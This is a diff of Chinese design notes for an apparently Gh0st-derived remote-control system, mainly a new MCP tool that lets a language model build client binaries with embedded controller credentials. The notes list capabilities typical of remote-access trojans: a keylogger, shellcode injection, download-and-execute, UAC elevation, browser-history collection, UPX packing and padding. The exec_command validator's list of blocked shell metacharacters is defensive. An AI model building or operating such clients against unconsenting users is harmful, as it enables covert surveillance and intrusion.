| 窗口列表 | ✓ | — | △ | — |
|
||||
| 窗口操作(激活/移动/置顶/关闭) | ✓ | — | — | — |
|
||||
| 远程终端(PTY) | ✓ | ✓ | ✓ | ✓ |
|
||||
| 服务管理(启动/停止/暂停/删除) | ✓ | — | — | — |
|
||||
| 计划任务管理 | ✓ | — | — | — |
|
||||
| 注册表管理 | ✓ | — | — | — |
|
||||
| 系统信息/机器管理 | ✓ | — | — | — |
|
||||
| 已安装软件清单/卸载 | ✓ | — | — | — |
|
||||
| 电源操作(关机/重启/注销) | ✓ | — | — | — |
|
||||
| 下载执行 / 上传执行 / DLL 执行 | ✓ | — | — | — |
|
||||
| 代理映射/端口转发 | ✓ | — | — | — |
|
||||
| 提权运行(UAC) | ✓ | — | — | — |
|
||||
| 进程注入(记事本 / Shellcode) | ✓ | — | — | — |
|
||||
| 连接管理(连接列表/强制断开) | ✓ | — | — | — |
|
||||
| 远程封禁(强制终止客户端) | ✓ | — | — | — |
|
||||
|
||||
说明:
|
||||
- Android 进程列表/结束进程依赖 root;非 root 设备登录时不声明 `CLIENT_CAP_PROCESS`,服务端直接返回“不支持”。
|
||||
- 窗口列表:macOS 只提供应用列表(PID 当伪句柄),不是窗口级枚举;Linux 的 `COMMAND_WSLIST` 只回一个空 `TOKEN_WSLIST`(无 GUI 窗口管理),Android 仅上报当前活动窗口标题。窗口移动/置顶/关闭只有 Windows 实现。
|
||||
- 机器管理(Windows)在同一面板下还提供网络连接、浏览器历史、收藏夹、HOSTS 文件、驱动服务等清单/编辑能力;其他平台没有对应面板。
|
||||
- 电源操作仅 Windows 实现(MCP `power_action` 也只放行 Windows 主机)。
|
||||
- 连接管理:Windows 客户端枚举本机 TCP 连接并通过 `SetTcpEntry` 强制断开;其他平台没有 `COMMAND_CONNECTION` / `COMMAND_KILL_CONNECTION` 处理。
|
||||
- 远程封禁(`COMMAND_FORBIDDEN`)只有 Windows 客户端处理(直接 `TerminateProcess` 退出);其他平台收到命令会走 default 丢弃。
|
||||
|
||||
## 五、监控与审计
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| 拉取客户端运行日志 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 历史活动上报 | ✓ | ✓ | ✓ | ✓ |
|
||||
|
||||
## 六、升级与运维
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| 远程升级 | ✓ | ✓ | — | ✓ |
|
||||
| TLS 开关下发 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 自启动/服务化 | ✓ | ✓ | ✓ | △ |
|
||||
| 远程卸载 | ✓ | — | — | ✓ |
|
||||
| 授权/许可校验(V2) | ✓ | — | — | — |
|
||||
|
||||
说明:
|
||||
- 远程升级:Windows 替换 PE、Linux 替换 ELF、Android 下发 APK 并拉起系统安装器(尚未真机验收);macOS 客户端没有 `COMMAND_UPDATE` 分支,暂不支持自升级。
|
||||
- 自启动:Windows 安装为系统服务;Linux 注册 XDG autostart(`install.sh`,另有 `-d` 守护进程模式);macOS 添加登录项;Android 为前台服务,但清单里没有 BOOT_COMPLETED 接收器,重启设备后需手动启动一次。
|
||||
- 远程卸载:Linux/macOS 仅提供本地 `uninstall.sh`,服务端命令不会被处理。
|
||||
- 授权/许可:V2 授权校验、服务端「延长授权/撤销授权」只对 Windows 客户端生效;其他平台不参与授权校验。
|
||||
|
||||
## 七、平台前提与已知边界
|
||||
|
||||
- **Windows**:功能最全;能力位未声明的终端、进程、聊天等功能实际已实现(服务端历史上按平台名放行)。
|
||||
- **Linux**:抓屏与注入依赖 X11/XTest;Wayland 会话下抓屏不可用。安装脚本要求以普通桌面用户运行,以注册 autostart。
|
||||
- **macOS**:屏幕录制与辅助功能需要用户在“隐私与安全性”里授权;更新二进制会导致授权失效,需要重新授权。自升级未实现。
|
||||
- **Android**:屏幕预览/注入依赖无障碍服务;进程管理依赖 root;文件管理依赖全盘访问权限(MANAGE_EXTERNAL_STORAGE);远程摄像头、音频、锁屏、黑屏遮罩需相应系统权限或 API 级别;APK 在线升级已编码但尚未真机验收。
|
||||
|
||||
## 八、能力位对照(登录上报)
|
||||
|
||||
服务端从 `moduleVersion` 的 `-XXXX` 后缀解析能力位(`DefaultCaps()`):
|
||||
|
||||
| 平台 | 默认能力位 | 运行时追加 |
|
||||
|---|---|---|
|
||||
| Windows | V2、UTF8、SCREEN_PREVIEW、C2C_PATHS、PROTO_SWITCH、VIRTUAL_DESKTOP、WINDOW_INFO、SCREEN_REGION | 仅当本次连接走 TLS 且使用内嵌锚时追加 EMBEDDED_ANCHOR |
|
||||
| Linux | V2、UTF8、C2C_RECV_ACK、PROCESS | SCREEN_PREVIEW(有可抓 X11 桌面时) |
|
||||
| macOS | V2、UTF8、TERMINAL、SCREEN_CLIPBOARD、PROCESS、C2C_RECV_ACK | SCREEN_PREVIEW(已授录屏权限时) |
|
||||
| Android | V2、UTF8、APK_UPDATE、SCREEN_CLIPBOARD、UNINSTALL、REMOTE_CHAT、TERMINAL | SCREEN_PREVIEW、LOCK_SCREEN、PRIVACY_OVERLAY、PROCESS(按无障碍/API/root 状态) |
|
||||
|
||||
注意:Windows 的终端、进程、聊天、剪贴板、卸载等能力虽未在能力位中声明,但客户端实际实现并被服务端按平台放行;其他平台的能力位缺失会被服务端提前拒绝。
|
||||
@@ -0,0 +1,135 @@
|
||||
# 生成客户端 MCP 工具(build_client)设计
|
||||
|
||||
> 2026-11-15。让模型把「生成一个连 1.2.3.4:443 的 Linux 客户端」这类需求直接落成
|
||||
> 服务端本机上的一个客户端文件。实现在 `server/2015Remote/McpBuildClient.{h,cpp}`。
|
||||
|
||||
## 1. 定位
|
||||
|
||||
`build_client` 是**服务端本地工具**,不针对任何在线主机:
|
||||
|
||||
- 入参没有 `id`,平台门禁(`CheckToolPlatform`)因拿不到主机而直接放行;
|
||||
- `kToolPlatforms` 仍登记为全平台(`win|lnx|mac|apk`),与其它服务端本地工具一致;
|
||||
- 工具只读模板资源、写服务端本机文件,不向任何客户端下发命令。
|
||||
|
||||
它复用「生成服务端」对话框(`BuildDlg.cpp::CBuildDlg::OnBnClickedOk`)的字节搬运路径:
|
||||
|
||||
```
|
||||
读资源(res 目录优先,回退内嵌)
|
||||
→ 构造 CONNECT_ADDRESS(地址/端口/类型/启动方式/分组/安装目录/主控 ID/pwdHash)
|
||||
→ 模板发布日期校验(模板比主控新则拒绝)
|
||||
→ 原地覆盖所有 FLAG_FINDEN 命中处
|
||||
→ 内嵌 TLS 信任锚(在 UPX / 增肥之前)
|
||||
→ 落盘
|
||||
→ 可选 UPX / 增肥
|
||||
```
|
||||
|
||||
对话框专属的 ShellCode AES / PE→ShellCode / 载荷伪装流程(需要额外的载荷文件与
|
||||
图片容器)**不在本工具范围内**:传 `compress` 其他值会返回 `-32602` 并提示改用对话框。
|
||||
|
||||
## 2. 开关与错误码
|
||||
|
||||
| 条件 | 行为 |
|
||||
|---|---|
|
||||
| `McpBuild=1` 且 `McpReadonly=0` | 工具出现在 `tools/list`,可调用 |
|
||||
| `McpBuild=0` | 不出现;直接调用返回 `-32006` |
|
||||
| `McpReadonly=1` | 工具出现但调用返回 `-32006`(与 `host_set_remark` / `host_set_watch_level` 这类只改服务端本地数据的工具一致:列出、调用时拒绝) |
|
||||
|
||||
`McpBuild` 默认 `0`,改动需重启服务端生效。之所以不复用 `McpManage` / `McpFileWrite`:
|
||||
生成的是**带主控凭据、可分发的客户端二进制**,风险等级与「操作在线主机」不同,需要能
|
||||
单独关掉。工具同时要求只读模式关闭。
|
||||
|
||||
参数错误统一 `-32602`;文件已存在且 `overwrite=false`、输出路径是目录返回 `-32012`;
|
||||
模板缺失 / 模板比主控新 / 找不到 `CONNECT_ADDRESS` / 写盘或 UPX 失败返回 `-32001`。
|
||||
|
||||
## 3. 参数
|
||||
|
||||
| 参数 | 必填 | 说明 |
|
||||
|---|---|---|
|
||||
| `target` | 是 | `ghost` / `ghost_service` / `ghost_system` / `testrun_dll` / `testrun_memdll` / `testrun_injsc` / `testrun_service` / `testrun_system` / `serverdll` / `tinyrun` / `linux` / `macos` / `android` |
|
||||
| `arch` | 否 | `x64`(默认)/ `x86`;posix 固定架构,传 `x86` 返回 `-32602`;`testrun_injsc` 只支持 x64 |
|
||||
| `host` | 否 | 主控地址,可含分号分隔的多地址;省略取服务端当前有效主控地址(含上级 FRP) |
|
||||
| `port` | 否 | 省略取服务端当前有效端口 |
|
||||
| `protocol` | 否 | `tcp`(默认)/ `udp` / `http` / `random` / `kcp` / `ws` / `wss` |
|
||||
| `header_enc` | 否 | `hell`(默认)/ `shine` |
|
||||
| `running` | 否 | `random`(默认)/ `parallel` |
|
||||
| `group` | 否 | 分组名,≤23 字节 ANSI |
|
||||
| `install_location` | 否 | `programdata`(默认)/ `programfiles` / `systemroot` / `appdata` / `localappdata` |
|
||||
| `install_dir` / `install_name` | 否 | Windows 安装子目录/程序名,≤31 字节,按 Windows 文件名规则校验 |
|
||||
| `run_as_admin` | 否 | 默认 `false`;安装 Windows 服务时通常需要 |
|
||||
| `encrypt_address` | 否 | 默认 `true`;`testrun_injsc` 与 `tinyrun` 与对话框一致,不加密 |
|
||||
| `compress` | 否 | `none`(默认)/ `upx`;仅 Windows 目标 |
|
||||
| `tls_anchor` | 否 | 默认 `true`;见 §4 |
|
||||
| `padding_mb` | 否 | 0–256,仅 Windows 目标 |
|
||||
| `output_dir` | 否 | 默认主控程序目录;不存在会自动创建 |
|
||||
| `output_name` | 否 | 默认按 target 取 `ghost.exe` / `TestRun.exe` / `ServerDll.dll` / `TinyRun.dll` / `ghost` / `ghost.apk` |
|
||||
| `overwrite` | 否 | 默认 `false`;目标已存在时返回 `-32012`,确认后传 `true` 重试 |
|
||||
|
||||
字符串入参按 UTF-8 接收,落到 ANSI 结构体/路径前用 `Utf8ToCpExact` 严格转换;
|
||||
服务端代码页表示不了的字符直接拒绝,不用 `?` 顶替(否则会写出路径或分组名都不对的
|
||||
客户端)。
|
||||
|
||||
## 4. 内嵌 TLS 信任锚
|
||||
|
||||
只有 `ghost` / `ghost_service` / `ghost_system` / `serverdll` 的 Windows 模板里有
|
||||
`EmbeddedTlsAnchor` 块(`client/EmbeddedTlsAnchor.cpp`)。工具按以下顺序判定,
|
||||
结果写入 `tlsAnchor`:
|
||||
|
||||
| 状态 | 含义 |
|
||||
|---|---|
|
||||
| `disabled` | 入参 `tls_anchor=false` |
|
||||
| `not_applicable` | TestRun / TinyRun:模板不含客户端代码(TestRun 的锚要生成进 ServerDll.dll) |
|
||||
| `unsupported_platform` | Linux / macOS / Android 模板没有锚块,信任锚由主控在线下发 |
|
||||
| `skipped_protocol` | 协议不是 tcp/http(ws/wss 的锚是反代那张证书) |
|
||||
| `unavailable` | 服务端未启用可用 TLS 身份 |
|
||||
| `no_block` | 模板里没有锚块(资源未重编),按普通客户端生成,不视为失败 |
|
||||
| `embedded` | 已写入;`tlsAnchorSummary` 给出证书摘要 |
|
||||
|
||||
与对话框一致:`Ambiguous` / `TooLong` / `NoAnchor` 会中止生成(`-32001`),
|
||||
`NoBlock` 只提示;锚必须在 UPX / 增肥之前写入。
|
||||
|
||||
## 5. 其它行为
|
||||
|
||||
- **版本校验**:模板 `szBuildDate` 比主控 `DLL_VERSION` 新时拒绝生成。
|
||||
- **输出覆盖**:默认拒绝覆盖;`overwrite=true` 时才写。输出文件名不允许包含目录分隔符。
|
||||
- **并发**:模块内用 `std::mutex` 串行化。`ReleaseUPX()` 固定把 `upx.exe` 释放到服务端
|
||||
目录,两个并发生成会互相踩;串行化同时避免同一输出文件的写竞争。
|
||||
- **审计**:每次成功/失败写一行 `[MCP] build_client ...` 到服务端日志(路径、目标、字节数)。
|
||||
- **结果 tips**:KCP 需要主控 UDP 参数为 1、WS/WSS 需要反代、macOS 需 `install.sh`/codesign、
|
||||
Android 需 apksigner、TestRun 需要 ServerDll.dll、锚未内嵌等。
|
||||
- **UPX 失败**:返回 `-32001`,未压缩的文件保留在原路径(与对话框一致)。
|
||||
|
||||
## 6. 「生成服务端」对话框的联动改进
|
||||
|
||||
同一批改动还修了对话框里几个平台联动问题(`BuildDlg.cpp`):
|
||||
|
||||
1. 选 Linux / macOS / Android 时,「安装目录」下拉框(`IDC_COMBO_INSTALL_LOC`)及其
|
||||
标签(`IDC_STATIC_LOCATION`)现在与安装目录/程序名一起置灰。此前它们不在禁用清单里,
|
||||
看起来仍可设置,但生成时根本不会被使用。
|
||||
2. 运行模式(`IDC_COMBO_RUNTYPE`)对非 Windows 客户端无意义(`runningType` 只有
|
||||
Windows `ClientDll` 消费),一并置灰。
|
||||
3. 加壳选择切到非 Windows 目标时暂存并显示「无」,切回 Windows 时恢复;避免
|
||||
「控件置灰但显示 ShellCode AES」与实际生成结果(强制 NONE)不一致。
|
||||
4. 载荷类型 / 下载服务几行在非 Windows 目标下隐藏,而不是留下置灰的空行。
|
||||
5. 「随机名称」「以管理员权限运行」两个菜单项在非 Windows 目标下置灰。
|
||||
6. 内嵌 TLS 锚复选框的文案对 Linux/macOS/Android 改为「仅Windows客户端模板支持」,
|
||||
不再误报「该目标不含客户端」。
|
||||
|
||||
## 7. 验收记录(2026-11-15,Debug 实例)
|
||||
|
||||
- `tools/list` 出现 `build_client`(`McpBuild=1`),关闭开关时不出现、直接调用 `-32006`。
|
||||
- Linux:生成 10,285,456 字节,`tlsAnchor=unsupported_platform`;`encrypt_address=false`
|
||||
时二进制里能检索到明文 host/port/分组/安装目录,原 `FLAG_FINDEN` 命中数归零。
|
||||
- ghost x64:`tlsAnchor=embedded`;生成的 PE 被本机 Defender 隔离,属测试环境现象。
|
||||
- Android:生成 11,929,218 字节,`tlsAnchor=unsupported_platform`,tips 提示重签。
|
||||
- `arch=x86` + Linux、`testrun_injsc` + x86、未知 target、非字符串 target、显式但解析不出
|
||||
的 `port`(如 `"443 "`)均返回 `-32602`;同名文件不传 `overwrite` 返回 `-32012`,
|
||||
传 `true` 后 `overwritten=true`。
|
||||
- 保护主控自身文件:`output_dir=Bin` + `output_name=Yama_x64d.exe` + `overwrite=true`
|
||||
返回 `-32012`,不会覆盖运行中的服务端;`settings.ini` / `upx.exe` 同样受保护。
|
||||
- 省略 `group` 时与对话框一致写入 `default`;`protocol` 允许数字形式(5 → ws)。
|
||||
- `padding_mb=3` 的 TinyRun 产物比模板大 3 MB(分块追加,不一次性分配 256 MB);
|
||||
`compress=upx` 因 Defender 拒绝读取生成的 PE 而返回 `-32001`(UPX 自身报
|
||||
`IOException: Invalid argument`),错误路径符合预期;UPX 临时文件按
|
||||
`upx_mcp_<pid>_<tick>.exe` 释放,测后无残留,也不会与对话框的固定 `upx.exe` 抢文件。
|
||||
- `mcp/tools.json` 已用 Debug 实例的 `McpMachine=1` / `McpMachine=0` 两份抓取重新生成
|
||||
(55 个工具),`check_platform_table.py` PASS。
|
||||
+96
-6
@@ -263,6 +263,7 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
|
||||
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
|
||||
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
|
||||
| `McpKeylog` | `0` | 键盘记录工具 `get_keylog` 的独立开关(见 §9.3);与 `McpReadonly` 无关,改动需重启生效 |
|
||||
| `McpBuild` | `0` | 生成客户端工具 `build_client` 的独立开关(见 §25);另要求 `McpReadonly=0`,改动需重启生效 |
|
||||
| `McpToolTimeoutMs` | `20000` | 工具等待客户端响应的默认超时(ms),clamp 到 `[1000, 600000]`;各工具自己的 `timeout_ms` 参数优先。**ini-only**(无设置界面控件),改动需重启生效 |
|
||||
| `McpHttps` | `0` | `1` = 对外端口说 HTTPS(native TLS,见 §13),httplib 退到 `127.0.0.1:McpInternalPort`;`0` = 保持明文。经「MCP设置」对话框的「启用 HTTPS」复选框设置,改动需重启生效 |
|
||||
| `McpCertPath` | 空(回退 `[tls] CertPath`) | MCP 专用证书(PEM)。面向公网客户端时应为公共 CA 证书(如 Let's Encrypt 的 `fullchain.pem`),不要复用设备端口的自签证书。对话框「证书路径」行可填/浏览;为空时按回退规则预填 `[tls]` 的值 |
|
||||
@@ -511,7 +512,7 @@ void CMcpSettingsDlg::OnBnClickedBtnSave()
|
||||
- `structuredContent` 统一附 `total` / `totalAll` / `offset` / `limit` / `hasMore`,与 `McpMachine.cpp` 既有约定一致(`host_list_*` / `list_network_connections` 本来就是这样)。
|
||||
- `content` 摘要统一为「共 N <单位>,本次返回第 a-b 条(还有更多,可用 offset 继续取)。」;`hasMore=false` 时不再出现「继续取」的误导提示;`offset` 越界时明确写「offset 超出范围,本次返回 0 条」。
|
||||
- 实现集中在 `McpInternal.h/.cpp`:`PageWindow` / `ResolvePageWindow` / `ApplyPageWindow` / `WritePageFields` / `AppendPagingProps` / `PageSummary`。
|
||||
- `list_files` 仍受服务端 `ParseFileList` 的 500 条硬限制(`total=500` 且原目录确有更多条目时表示截断,不是服务端分页)。客户端侧不截断、按需扩缓冲一次性回全量;本轮未加 `truncated` 标记(要加得改服务端 `ParseFileList` 的调用约定),仍靠「`total=500` 且 `hasMore`」判断。
|
||||
- `list_files` 整目录解析后再分页:`ParseFileList` 的上限是 100000 条,只用于兜住病态目录;到上限时 `structuredContent.truncated=true`,摘要与 `total` 也会说明 `total` 只是上限内的数量。`total` / `hasMore` 反映真实目录条目数,`offset` 可翻到 500 条之后。分页由服务端完成(`limit` 默认 100、上限 1000),客户端仍一次性回全量。
|
||||
|
||||
---
|
||||
|
||||
@@ -597,7 +598,7 @@ token 只从 `-Token` / env 读取,不落仓库、不打印;无在线主机
|
||||
|
||||
### 10.8 D 批:拒绝也入审计
|
||||
|
||||
动机:所有策略拒绝(只读模式、`Mcp*` 开关关闭、主机不支持某能力)都返回 `-32006`,而审计里只有 `CALL_FAIL`——和「参数错」「主机离线」「超时」混在一起,事后分不清「没人调过」和「被策略拦下」。
|
||||
动机:策略拒绝(只读模式、`Mcp*` 开关关闭,以及老客户端 V2 这类能力缺失)返回 `-32006`;平台/能力位不匹配的多数返回 `-32005`。此前审计里只有 `CALL_FAIL`——和「参数错」「主机离线」「超时」混在一起,事后分不清「没人调过」和「被策略拦下」。
|
||||
|
||||
- 实现放在 `tools/call` 的统一出口(`CMcpServer` 的 HTTP 处理器),不在 24 个 `-32006` 分支里逐个埋点:成功解析响应体后多取 `error.code` / `error.message`,`code == -32006` 就追加一条
|
||||
```
|
||||
@@ -628,7 +629,7 @@ token 只从 `-Token` / env 读取,不落仓库、不打印;无在线主机
|
||||
|
||||
排查「改动到底生效没有」「为什么某个工具被拒」时,原先只能靠 `list_online_hosts` 加 `get_audit_log` 侧面推断;现在有一个服务端自身的状态快照。纯内存、只读、不建子连接。
|
||||
|
||||
返回(`structuredContent.status`):
|
||||
返回(`structuredContent` 顶层,与 outputSchema 字段一一对应;早期版本曾多包一层 `status`,已修):
|
||||
|
||||
| 字段 | 含义 |
|
||||
|---|---|
|
||||
@@ -678,12 +679,12 @@ token 只从 `-Token` / env 读取,不落仓库、不打印;无在线主机
|
||||
| `-32600` | Invalid Request | 缺 `jsonrpc` / `method` / 非法 `tools/call` 结构 | 修正请求 |
|
||||
| `-32601` | Method not found | `method` 不是 `initialize` / `tools/list` / `tools/call` 等 | 修正请求 |
|
||||
| `-32602` | Invalid params | 未知工具名、缺必填参数、参数类型/取值非法、批量 `ids` 超过 50 个、`search_file` 过滤参数非法、文本无法转 GBK | 改参数重试,重试同样的请求不会成功 |
|
||||
| `-32001` | Timeout | 等客户端就绪/等子连接/等搜索结果超时(`timeout_ms` 内没等到) | 可加大 `timeout_ms` 重试;持续出现看主机是否卡住 |
|
||||
| `-32001` | Timeout / execution failure | 多为等客户端就绪/等子连接/等搜索结果超时(`timeout_ms` 内没等到);也用于工具自身失败(`http_probe` 解析失败、目标端未确认写入)与已取消(`Request cancelled`) | 先看 `message`:超时且工具支持 `timeout_ms` 可加大重试;子连接没建立/反复超时通常重试无效;`Request cancelled` 可直接重试;其余按 `message` 处理 |
|
||||
| `-32002` | Host offline / not found | 主机 id 不存在、主连接已断、会话 id 不存在或已关闭 | 先 `list_online_hosts` 刷新再选主机 |
|
||||
| `-32003` | Busy | 该主机已有同类请求在飞(终端/截屏/文件/聊天会话),或同设备重复 `chat_open`。`message` 末尾带 `(tool=..., elapsed=Ns)` 点名占用者 | 用 `mcp_list_sessions` 看全部会话;等前一个结束、先 `*_close`,或 `mcp_cancel_session` 释放 |
|
||||
| `-32004` | Send failed | 命令写入主连接失败(连接刚断) | 重试一次;仍失败按 `-32002` 处理 |
|
||||
| `-32005` | Not supported on this host | 能力限制,改参数也修不好:需要 Windows 的工具用在 LNX/MAC/APK 主机上;`remote_open` 遇到多显示器(阶段一);主机无屏幕预览/控制能力位 | 换主机或换工具;不要改参数重试 |
|
||||
| `-32006` | Policy refused | 只读模式 / 对应 `Mcp*` 开关关闭 / 主机不支持该能力(如 V2 文件传输) | **不要重试**:这是配置决定,需管理员改服务端配置 |
|
||||
| `-32006` | Policy refused | 只读模式 / 对应 `Mcp*` 开关关闭;MFC 端还包括老客户端不支持 V2 文件传输(`download_file` / `upload_file` / `read_file` / `copy_files_c2c`;Go 端这种情况返回 `-32005`) | **不要重试**:开关/只读需管理员改服务端配置,老客户端需升级 |
|
||||
| `-32007` | Not in command whitelist | `exec_command` 的命令不在 `McpCmdWhitelist` 里,或词边界不匹配(`dir` 过、`dirx` 拒) | **不要重试**:换成白名单内的命令,或请管理员加白名单项 |
|
||||
| `-32012` | Rejected by validation | 只覆盖「参数被校验拒绝、改参数可修」:`exec_command` 含 shell 元字符(Windows `&\|<>^`;Linux `&\|<>;` 与反引号、`$(` `${` `!`)或控制字符(含 `\r\n`);`terminal_exec` 含控制字符(含换行),或**老非 PTY 会话**里含 `&`/`\|`,或 POSIX 会话里含裸后台 `&`;路径/参数含非法字符。**`-32008` 是同一语义的历史别名**(早期实现用它,已发布的客户端/文档可能仍在匹配),新代码一律用 `-32012` | 按 `message` 修正参数后重试 |
|
||||
| `-32009` | Target not found | 远端路径/注册表键不存在(win32 `2`/`3`,由新客户端主动回报);`kill_network_connection` 的四元组在当前连接表里查不到(`dry_run` 传假四元组最常见) | 先用 `list_files`/`list_registry`(或 `host_list_network_state`)确认目标存在 |
|
||||
@@ -848,7 +849,7 @@ ECDSA 这条是 MS Software KSP 唯一可行的一条,其余几条均已实测
|
||||
|
||||
### 14.3 验证
|
||||
|
||||
Debug 实例(`Bin\Yama_x64d.exe`,临时端口)实测:`list_all_hosts` 的 `content[1]` 含完整主机 JSON(`id` / `ip` / `last_seen` …),`get_server_status` 的 `content[1]` 是 `{"status":{…}}`,`search_hosts` 空结果时是 `{"hasMore":false,"hosts":[],…}`;`content[0]` 的既有摘要文案一字未改。
|
||||
Debug 实例(`Bin\Yama_x64d.exe`,临时端口)实测:`list_all_hosts` 的 `content[1]` 含完整主机 JSON(`id` / `ip` / `last_seen` …),`search_hosts` 空结果时是 `{"hasMore":false,"hosts":[],…}`;`content[0]` 的既有摘要文案一字未改。`get_server_status` 的 `content[1]` 是状态对象本身(与 outputSchema 的顶层字段一致;早期版本多包了一层 `status`,已修)。
|
||||
|
||||
### 14.4 影响面
|
||||
|
||||
@@ -951,6 +952,17 @@ schema 里写明这一点;同时根键分支补上 `path: ""`,让两个分
|
||||
`MessageHandle` 的 `TOKEN_REPORT_LOG` 分支取走首包后会 `CancelIO` 关掉这条连接,回在
|
||||
主连接上就是把主连接关掉(客户端当场掉线)。
|
||||
|
||||
macOS 还有第二层问题,只影响日志内容,2026-11-14 修:处理器虽然接上了,但 `Logger` 的
|
||||
ring 只能被 `Mprintf` 写入,而 macOS 的 `Mprintf` 当时直接走 `NSLog`/`fprintf(stderr)`,
|
||||
从不经过 `Logger`——ring 恒为空,菜单和 `get_client_log` 拿到的都是空快照。现在 macOS 的
|
||||
`Mprintf`(由 `common/logger.h` 定义)与 Linux 一样写 `Logger`(ring;`enable=false` 不另
|
||||
建日志文件),再由 `Logger` 把同一行镜像到 stderr(即 `/tmp/ghost.log`),同一条 Mprintf
|
||||
在文件与菜单里的文本、前缀、时间戳完全一致;ring 只留最近 1000 行,更早的内容只在文件
|
||||
里。`macos/main.mm` 里原先用 `NSLog` 的启动/配置/权限等生命周期行也一并改成 `Mprintf`,
|
||||
否则菜单里看不到现场最常翻的那几行;`ScreenHandler`/`H264Encoder`/`InputHandler` 等 ObjC
|
||||
模块的 `NSLog` 不动,它们和两条直接 `write(2)` 的启动横幅仍只出现在 `/tmp/ghost.log`。
|
||||
MFC 的「运行日志」对话框与 MCP 的 `get_client_log` 走同一条链路,两端同时可用。
|
||||
|
||||
### 18.4 验证与未覆盖
|
||||
|
||||
- 服务端 21:17:21 构建 + 两端客户端重编后实测:`ids` 批量(`get_host_detail` /
|
||||
@@ -1282,3 +1294,81 @@ region 同样要求新 Windows 客户端(桌面尾块是 `CLIENT_CAP_WINDOW_IN
|
||||
客户端),返回 `-32005`;默认整屏目标行为与字节流完全不变。
|
||||
- window/region 目标各自多一次窗口信息 RPC;region 目标还要多等一次
|
||||
`TOKEN_BITMAPINFO` 到达(通常几十毫秒)。
|
||||
|
||||
## 24. 增补(2026-11-14:macOS 客户端能力补齐,阶段 0 + 1)
|
||||
|
||||
macOS 客户端此前有大量「实现了但服务端不认」的功能,断点有三层,缺任何一层都表现为
|
||||
「工具直接 `-32005`」或「发下去以后等超时」:
|
||||
|
||||
1. 客户端**没接线**(`COMMAND_SYSTEM` 只打一行日志,`SystemManager` 的签名也不满足
|
||||
子连接骨架,从未被实例化);
|
||||
2. 接上了但**没声明能力位**(终端、剪贴板、C2C 回执早就在跑,`moduleVersion` 里却一个位都没有);
|
||||
3. 声明了能力位,但服务端**仍按平台表一律拒绝** `MAC`。
|
||||
|
||||
本批把三层一起补齐。
|
||||
|
||||
### 24.1 阶段 0:让已有实现可达
|
||||
|
||||
- **能力位**(`common/commands.h`):新增 `CLIENT_CAP_PROCESS=0x20000`;macOS 的
|
||||
`DefaultCaps()` 声明 `TERMINAL` / `SCREEN_CLIPBOARD` / `PROCESS` / `C2C_RECV_ACK`,
|
||||
Linux 也补声明 `PROCESS`(`SystemManager` 一直在跑,只是没声明)。
|
||||
Windows 一直支持进程管理与终端但从不声明,调用方按平台区分,行为不变。
|
||||
- **`SystemManager`**(`macos/SystemManager.*`):改成派生 `IOCPManager`、构造只收
|
||||
`IOCPClient*`,满足 `common/sub_conn_thread.h` 的 `createHandler` / `OnReceive` 契约;
|
||||
`main.mm` 的 `COMMAND_SYSTEM` 现在真的起子连接(`proc_listpids` 枚举 + `SIGKILL`)。
|
||||
- **C2C 落盘回执**:`DataProcess` 的 `user` 恒为 NULL,因此在 `main.mm` 增加
|
||||
`g_pMainClient`(同 `linux/main.cpp`),作为 V2 接收端回 `TOKEN_C2C_RECV_RESULT`。
|
||||
`download_file` / `upload_file` / `copy_files_c2c` 的 macOS 目标端 `receiver_ack`
|
||||
由恒 `false` 变为真实回执。
|
||||
- **服务端放行**(`McpServer.cpp`):`exec_command` / `terminal_*` 对 `MAC` 要求
|
||||
`SupportsTerminal()`,`kill_process` 要求 `SupportsProcess()`,老 macOS 构建返回
|
||||
`-32005` 并提示升级,而不是发一条没人接的命令后假报 ok;`kToolPlatforms` 同步。
|
||||
- `http_probe` **仍只放行 Windows/Linux**:macOS 终端已可用,但 POSIX 探测命令用了
|
||||
GNU 专有的 `base64 -w`,BSD base64 没有该开关,等换成两平台通用写法再放开。
|
||||
|
||||
### 24.2 阶段 1:POSIX 对齐
|
||||
|
||||
- **屏幕预览**(`macos/ScreenPreview.*`):`CGDisplayCreateImage` → 等比缩放 →
|
||||
`SCREEN_PREVIEW_FMT_BGRX`,与服务端统一编码 JPEG 的 Linux 路径一致(macOS 不做
|
||||
JPEG 编码)。`CLIENT_CAP_SCREEN_PREVIEW` 只在**登录时已授予录屏权限**时声明
|
||||
(`RefreshLoginCaps`,每次重连重判),否则 `get_screenshot` 会一直等超时。
|
||||
- **历史活动**(`macos/ActivityHistory.*`):每秒采一次前台窗口
|
||||
(`CGWindowListCopyWindowInfo`,第一个 `layer 0` 窗口;窗口标题需录屏授权,没有权限
|
||||
时退化为应用名),输出格式与 Windows/Linux 完全一致;`COMMAND_QUERY_ACTIVITY`
|
||||
在主连接一次性快照回 `TOKEN_REPORT_ACTIVITY`,单飞行。
|
||||
- **强制关键帧**:Web 屏幕墙恢复时服务端发 `COMMAND_SCREEN_KEYFRAME_REQ`。
|
||||
Windows 一直支持;本次让 Linux(x264 `X264_TYPE_IDR`)与 macOS(VideoToolbox
|
||||
`kVTEncodeFrameOptionKey_ForceKeyFrame`)也消费它——接收线程只置标志,采集线程在
|
||||
下一帧 `exchange`,编码器实例仍归采集线程独占。抓帧失败时把请求放回去,下一帧再试。
|
||||
Android 仍未实现,属后续项。
|
||||
- **质量等级持久化**(`macos/ScreenHandler.mm`):`CMD_QUALITY_LEVEL` 的 persist 位
|
||||
以前是 `(void)persist` 的 TODO,现在写入 `NSUserDefaults`(键 `GhostQualityLevel`),
|
||||
启动时读回并套用。**不写** `~/.config/ghost/config.conf`:那份配置由 `main.mm`
|
||||
用内存 map 整体重写,单独追加键会被下一次写盘冲掉。
|
||||
- `kToolPlatforms`:`get_screenshot` / `get_activity_history` 增加 `kPlatMac`。
|
||||
|
||||
### 24.3 兼容与代价
|
||||
|
||||
